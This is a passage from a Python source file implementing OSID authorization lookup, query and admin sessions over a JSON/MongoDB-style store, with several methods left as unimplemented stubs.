osid.resource.ResourceLookupSession.can_lookup_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True def use_comparative_authorization_view(self): """The returns from the lookup methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_comparative_resource_view self._use_comparative_object_view() def use_plenary_authorization_view(self): """A complete view of the ``Authorization`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_plenary_resource_view self._use_plenary_object_view() def use_federated_vault_view(self): """Federates the view for methods in this session. A federated view will include authorizations in vaults which are children of this vault in the vault hierarchy. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_federated_bin_view self._use_federated_catalog_view() def use_isolated_vault_view(self): """Isolates the view for methods in this session. An isolated view restricts lookups to this vault only. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_isolated_bin_view self._use_isolated_catalog_view() def use_effective_authorization_view(self): """Only authorizations whose effective dates are current are returned by methods in this session. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.use_effective_relationship_view self._use_effective_view() def use_any_effective_authorization_view(self): """All authorizations of any effective dates are returned by all methods in this session. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.use_any_effective_relationship_view self._use_any_effective_view() def use_implicit_authorization_view(self): """Sets the view for methods in this session to implicit authorizations. An implicit view will include authorizations derived from other authorizations as a result of the ``Qualifier,`` ``Function`` or ``Resource`` hierarchies. This method is the opposite of ``explicitAuthorizationView()``. *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() def use_explicit_authorization_view(self): """Sets the view for methods in this session to explicit authorizations. An explicit view includes only those authorizations that were explicitly defined and not implied. This method is the opposite of ``implicitAuthorizationView()``. *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorization(self, authorization_id): """Gets the ``Authorization`` specified by its ``Id``. In plenary mode, the exact ``Id`` is found or a ``NotFound`` results. Otherwise, the returned ``Authorization`` may have a different ``Id`` than requested, such as the case where a duplicate ``Id`` was assigned to an ``Authorization`` and retained for compatibility. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` to retrieve return: (osid.authorization.Authorization) - the returned ``Authorization`` raise: NotFound - no ``Authorization`` found with the given ``Id`` raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resource # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find_one( dict({'_id': ObjectId(self._get_id(authorization_id, 'authorization').get_identifier())}, **self._view_filter())) return objects.Authorization(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_authorizations_by_ids(self, authorization_ids): """Gets an ``AuthorizationList`` corresponding to the given ``IdList``. In plenary mode, the returned list contains all of the authorizations specified in the ``Id`` list, in the order of the list, including duplicates, or an error results if an ``Id`` in the supplied list is not found or inaccessible. Otherwise, inaccessible ``Authorizations`` may be omitted from the list and may present the elements in any order including returning a unique set. arg: authorization_ids (osid.id.IdList): the list of ``Ids`` to retrieve return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NotFound - an ``Id was`` not found raise: NullArgument - ``authorization_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_ids # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) object_id_list = [] for i in authorization_ids: object_id_list.append(ObjectId(self._get_id(i, 'authorization').get_identifier())) result = collection.find( dict({'_id': {'$in': object_id_list}}, **self._view_filter())) result = list(result) sorted_result = [] for object_id in object_id_list: for object_map in result: if object_map['_id'] == object_id: sorted_result.append(object_map) break return objects.AuthorizationList(sorted_result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_authorizations_by_genus_type(self, authorization_genus_type): """Gets an ``AuthorizationList`` corresponding to the given authorization genus ``Type`` which does not include authorizations of genus types derived from the specified ``Type``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: authorization_genus_type (osid.type.Type): an authorization genus type return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: NullArgument - ``authorization_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_genus_type # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'genusTypeId': str(authorization_genus_type)}, **self._view_filter())).sort('_id', DESCENDING) return objects.AuthorizationList(result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_authorizations_by_parent_genus_type(self, authorization_genus_type): """Gets an ``AuthorizationList`` corresponding to the given authorization genus ``Type`` and include authorizations of genus types derived from the specified ``Type``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: authorization_genus_type (osid.type.Type): an authorization genus type return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: NullArgument - ``authorization_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_parent_genus_type # STILL NEED TO IMPLEMENT!!! return objects.AuthorizationList([]) @utilities.arguments_not_none def get_authorizations_by_record_type(self, authorization_record_type): """Gets an ``AuthorizationList`` containing the given authorization record ``Type``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: authorization_record_type (osid.type.Type): an authorization record type return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: NullArgument - ``authorization_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources_by_record_type # STILL NEED TO IMPLEMENT!!! return objects.AuthorizationList([]) @utilities.arguments_not_none def get_authorizations_on_date(self, from_, to): """Gets an ``AuthorizationList`` effective during the entire given date range inclusive but not confined to the date range. arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.get_relationships_on_date authorization_list = [] for authorization in self.get_authorizations(): if overlap(from_, to, authorization.start_date, authorization.end_date): authorization_list.append(authorization) return objects.AuthorizationList(authorization_list, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_resource(self, resource_id): """Gets a list of ``Authorizations`` associated with a given resource. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: resource_id (osid.id.Id): a resource ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``resource_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_resource_on_date(self, resource_id, from_, to): """Gets an ``AuthorizationList`` effective during the entire given date range inclusive but not confined to the date range. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. In effective mode, authorizations are returned that are currently effective. In any effective mode, active authorizations and those currently expired are returned. arg: resource_id (osid.id.Id): a resource ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``resource_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_agent(self, agent_id): """Gets a list of ``Authorizations`` associated with a given agent. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: agent_id (osid.id.Id): an agent ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``agent_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_agent_on_date(self, agent_id, from_, to): """Gets an ``AuthorizationList`` for the given agent and effective during the entire given date range inclusive but not confined to the date range. arg: agent_id (osid.id.Id): an agent ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``agent_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_function(self, function_id): """Gets a list of ``Authorizations`` associated with a given function. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: function_id (osid.id.Id): a function ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.learning.ActivityLookupSession.get_activities_for_objective_template # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'functionId': str(function_id)}, **self._view_filter())) return objects.AuthorizationList(result, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_function_on_date(self, function_id, from_, to): """Gets an ``AuthorizationList`` for the given function and effective during the entire given date range inclusive but not confined to the date range. arg: function_id (osid.id.Id): a function ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``function_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_resource_and_function(self, resource_id, function_id): """Gets a list of ``Authorizations`` associated with a given resource. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: resource_id (osid.id.Id): a resource ``Id`` arg: function_id (osid.id.Id): a function ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``resource_id`` or ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.relationship.RelationshipLookupSession.get_relationships_for_peers # NOTE: This implementation currently ignores plenary and effective views collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'sourceId': str(resource_id), 'destinationId': str(function_id)}, **self._view_filter())).sort('_id', ASCENDING) return objects.AuthorizationList(result, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_resource_and_function_on_date(self, resource_id, function_id, from_, to): """Gets an ``AuthorizationList`` effective during the entire given date range inclusive but not confined to the date range. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. In effective mode, authorizations are returned that are currently effective. In any effective mode, active authorizations and those currently expired are returned. arg: resource_id (osid.id.Id): a resource ``Id`` arg: function_id (osid.id.Id): a function ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``resource_id, function_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_for_agent_and_function(self, agent_id, function_id): """Gets a list of ``Authorizations`` associated with a given agent. Authorizations related to the given resource, including those related through an ``Agent,`` are returned. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: agent_id (osid.id.Id): an agent ``Id`` arg: function_id (osid.id.Id): a function ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``agent_id`` or ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find( dict({'agentId': str(agent_id), 'functionId': str(function_id)}, **self._view_filter())).sort('_sort_id', ASCENDING) return objects.AuthorizationList(result, runtime=self._runtime) @utilities.arguments_not_none def get_authorizations_for_agent_and_function_on_date(self, agent_id, function_id, from_, to): """Gets an ``AuthorizationList`` for the given agent and effective during the entire given date range inclusive but not confined to the date range. arg: agent_id (osid.id.Id): an agent ``Id`` arg: function_id (osid.id.Id): a function ``Id`` arg: from (osid.calendaring.DateTime): starting date arg: to (osid.calendaring.DateTime): ending date return: (osid.authorization.AuthorizationList) - the returned ``Authorization`` list raise: InvalidArgument - ``from`` is greater than ``to`` raise: NullArgument - ``agent_id, function_id, from`` or ``to`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure occurred *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_authorizations_by_qualifier(self, qualifier_id): """Gets a list of ``Authorizations`` associated with a given qualifier. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. arg: qualifier_id (osid.id.Id): a qualifier ``Id`` return: (osid.authorization.AuthorizationList) - the returned ``Authorization list`` raise: NullArgument - ``qualifier_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_explicit_authorization(self, authorization_id): """Gets the explicit ``Authorization`` that generated the given implicit authorization. If the given ``Authorization`` is explicit, then the same ``Authorization`` is returned. arg: authorization_id (osid.id.Id): an authorization return: (osid.authorization.Authorization) - the explicit ``Authorization`` raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() def get_authorizations(self): """Geta all ``Authorizations``. In plenary mode, the returned list contains all known authorizations or an error results. Otherwise, the returned list may contain only those authorizations that are accessible through this session. return: (osid.authorization.AuthorizationList) - a list of ``Authorizations`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.get_resources # NOTE: This implementation currently ignores plenary view collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find(self._view_filter()).sort('_id', DESCENDING) return objects.AuthorizationList(result, runtime=self._runtime, proxy=self._proxy) authorizations = property(fget=get_authorizations) class AuthorizationQuerySession(abc_authorization_sessions.AuthorizationQuerySession, osid_sessions.OsidSession): """This session provides methods for searching ``Authorization`` objects. The search query is constructed using the ``AuthorizationQuery``. This session defines views that offer differing behaviors for searching. * federated view: searches include authorizations in ``Vaults`` of which this vault is a ancestor in the vault hierarchy * isolated view: searches are restricted to authorizations in this ``Vault`` * implicit authorization view: authorizations include implicit authorizations * explicit authorization view: only explicit authorizations are returned """ def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._kwargs = kwargs def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_search_authorizations(self): """Tests if this user can perform authorization searches. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer search operations to unauthorized users. return: (boolean) - ``false`` if search methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceQuerySession.can_search_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True def use_federated_vault_view(self): """Federates the view for methods in this session. A federated view will include authorizations in vaults which are children of this vault in the vault hierarchy. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_federated_bin_view self._use_federated_catalog_view() def use_isolated_vault_view(self): """Isolates the view for methods in this session. An isolated view restricts searches to this vault only. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_isolated_bin_view self._use_isolated_catalog_view() def use_implicit_authorization_view(self): """Sets the view for methods in this session to implicit authorizations. An implicit view will include authorizations derived from other authorizations as a result of the ``Qualifier,`` ``Function`` or ``Resource`` hierarchies. This method is the opposite of ``explicit_aut`` *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() def use_explicit_authorization_view(self): """Sets the view for methods in this session to explicit authorizations. An explicit view includes only those authorizations that were explicitly defined and not implied. This method is the opposite of ``implicitAuthorizationView()``. *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() def get_authorization_query(self): """Gets an authorization query. return: (osid.authorization.AuthorizationQuery) - the authorization query *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceQuerySession.get_resource_query_template return queries.AuthorizationQuery(runtime=self._runtime) authorization_query = property(fget=get_authorization_query) @utilities.arguments_not_none def get_authorizations_by_query(self, authorization_query): """Gets a list of ``Authorizations`` matching the given query. arg: authorization_query (osid.authorization.AuthorizationQuery): the authorization query return: (osid.authorization.AuthorizationList) - the returned ``AuthorizationList`` raise: NullArgument - ``authorization_query`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``authorization_query`` is not of this service *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceQuerySession.get_resources_by_query and_list = list() or_list = list() for term in authorization_query._query_terms: if '$in' in authorization_query._query_terms[term] and '$nin' in authorization_query._query_terms[term]: and_list.append( {'$or': [{term: {'$in': authorization_query._query_terms[term]['$in']}}, {term: {'$nin': authorization_query._query_terms[term]['$nin']}}]}) else: and_list.append({term: authorization_query._query_terms[term]}) for term in authorization_query._keyword_terms: or_list.append({term: authorization_query._keyword_terms[term]}) if or_list: and_list.append({'$or': or_list}) view_filter = self._view_filter() if view_filter: and_list.append(view_filter) if and_list: query_terms = {'$and': and_list} collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find(query_terms).sort('_id', DESCENDING) else: result = [] return objects.AuthorizationList(result, runtime=self._runtime, proxy=self._proxy) class AuthorizationAdminSession(abc_authorization_sessions.AuthorizationAdminSession, osid_sessions.OsidSession): """This session creates, updates, and deletes ``Authorizations``. The data for create and update is provided by the consumer via the form object. ``OsidForms`` are requested for each create or update and may not be reused. Create and update operations differ in their usage. To create an ``Authorization,`` an ``AuthorizationForm`` is requested using ``get_authorization_form_for_create()`` specifying the desired relationship peers and record ``Types`` or none if no record ``Types`` are needed. The returned ``AuthorizationForm`` will indicate that it is to be used with a create operation and can be used to examine metdata or validate data prior to creation. Once the ``AuthorizationForm`` is submiited to a create operation, it cannot be reused with another create operation unless the first operation was unsuccessful. Each ``AuthorizationForm`` corresponds to an attempted transaction. For updates, ``AuthorizationForms`` are requested to the ``Authorization`` ``Id`` that is to be updated using ``getAuthorizationFormForUpdate()``. Similarly, the ``AuthorizationForm`` has metadata about the data that can be updated and it can perform validation before submitting the update. The ``AuthorizationForm`` can only be used once for a successful update and cannot be reused. The delete operations delete ``Authorizations``. To unmap an ``Authorization`` from the current ``Vault,`` the ``AuthorizationVaultAssignmentSession`` should be used. These delete operations attempt to remove the ``Authorization`` itself thus removing it from all known ``Vault`` catalogs. This session includes an ``Id`` aliasing mechanism to assign an external ``Id`` to an internally assigned Id. """ def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._forms = dict() self._kwargs = kwargs def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_create_authorizations(self): """Tests if this user can create ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer create operations to unauthorized users. return: (boolean) - ``false`` if ``Authorization`` creation is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_create_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def can_create_authorization_with_record_types(self, authorization_record_types): """Tests if this user can create a single ``Authorization`` using the desired record types. While ``AuthorizationManager.getAuthorizationRecordTypes()`` can be used to examine which records are supported, this method tests which record(s) are required for creating a specific ``Authorization``. Providing an empty array tests if an ``Authorization`` can be created with no records. arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (boolean) - ``true`` if ``Authorization`` creation using the specified ``Types`` is supported, ``false`` otherwise raise: NullArgument - ``authorization_record_types`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_create_resource_with_record_types # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def get_authorization_form_for_create_for_agent(self, agent_id, function_id, qualifier_id, authorization_record_types): """Gets the authorization form for creating new authorizations. A new form should be requested for each create transaction. arg: agent_id (osid.id.Id): the agent ``Id`` arg: function_id (osid.id.Id): the function ``Id`` arg: qualifier_id (osid.id.Id): the qualifier ``Id`` arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``agent_id, function_id`` or ``qualifier_id`` is not found raise: NullArgument - ``agent_id, function_id, qualifier_id`` or ``authorization_record_types`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form with requested record types *compliance: mandatory -- This method must be implemented.* """ if not isinstance(agent_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(function_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(qualifier_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') for arg in authorization_record_types: if not isinstance(arg, ABCType): raise errors.InvalidArgument('one or more argument array elements is not a valid OSID Type') if authorization_record_types == []: # WHY are we passing vault_id = self._catalog_id below, seems redundant: # We probably also don't need to send agent_id. The form can now get that from the proxy obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, agent_id=agent_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, proxy=self._proxy) else: obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, record_types=authorization_record_types, agent_id=agent_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, proxy=self._proxy) obj_form._for_update = False self._forms[obj_form.get_id().get_identifier()] = not CREATED return obj_form @utilities.arguments_not_none def get_authorization_form_for_create_for_resource(self, resource_id, function_id, qualifier_id, authorization_record_types): """Gets the authorization form for creating new authorizations. A new form should be requested for each create transaction. arg: resource_id (osid.id.Id): the resource ``Id`` arg: function_id (osid.id.Id): the function ``Id`` arg: qualifier_id (osid.id.Id): the qualifier ``Id`` arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``resource_id, function_id`` or ``qualifier_id`` is not found raise: NullArgument - ``resource_id, function_id, qualifier_id,`` or ``authorization_record_types`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form with requested record types *compliance: mandatory -- This method must be implemented.* """ if not isinstance(resource_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(function_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(qualifier_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') for arg in authorization_record_types: if not isinstance(arg, ABCType): raise errors.InvalidArgument('one or more argument array elements is not a valid OSID Type') if authorization_record_types == []: # WHY are we passing vault_id = self._catalog_id below, seems redundant: obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, resource_id=resource_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, prox=self._proxy) else: obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, record_types=authorization_record_types, resource_id=resource_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, proxy=self._proxy) obj_form._for_update = False self._forms[obj_form.get_id().get_identifier()] = not CREATED return obj_form @utilities.arguments_not_none def get_authorization_form_for_create_for_resource_and_trust(self, resource_id, trust_id, function_id, qualifier_id, authorization_record_types): """Gets the authorization form for creating new authorizations. A new form should be requested for each create transaction. arg: resource_id (osid.id.Id): a resource ``Id`` arg: trust_id (osid.id.Id): an ``Id`` for a circle of trust arg: function_id (osid.id.Id): a function ``Id`` arg: qualifier_id (osid.id.Id): the qualifier ``Id`` arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``resource_id, trust_id, function_id`` , or ``qualifierid`` is not found raise: NullArgument - ``resource_id, trust_id`` , ``resource_id, qualifier_id`` or ``authorization_record_types`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form with requested record types *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def create_authorization(self, authorization_form): """Creates a new explicit ``Authorization``. arg: authorization_form (osid.authorization.AuthorizationForm): the authorization form return: (osid.authorization.Authorization) - ``t`` he new ``Authorization`` raise: IllegalState - ``authorization_form`` already used in a create transaction raise: InvalidArgument - one or more of the form elements is invalid raise: NullArgument - ``authorization_form`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - ``authorization_form`` did not originate from this service *compliance: mandatory -- This method must be implemented.* """ # TODO: not using the create_resource template # because want to prevent duplicate authorizations collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_form, ABCAuthorizationForm): raise errors.InvalidArgument('argument type is not an AuthorizationForm') if authorization_form.is_for_update(): raise errors.InvalidArgument('the AuthorizationForm is for update only, not create') try: if self._forms[authorization_form.get_id().get_identifier()] == CREATED: raise errors.IllegalState('authorization_form already used in a create transaction') except KeyError: raise errors.Unsupported('authorization_form did not originate from this session') if not authorization_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') # try to check first here try: osid_map = collection.find_one({"agentId": authorization_form._my_map['agentId'], "functionId": authorization_form._my_map['functionId'], "qualifierId": authorization_form._my_map['qualifierId'], "assignedVaultIds": authorization_form._my_map['assignedVaultIds']}) osid_map['startDate'] = authorization_form._my_map['startDate'] osid_map['endDate'] = authorization_form._my_map['endDate'] collection.save(osid_map) except errors.NotFound: insert_result = collection.insert_one(authorization_form._my_map) self._forms[authorization_form.get_id().get_identifier()] = CREATED 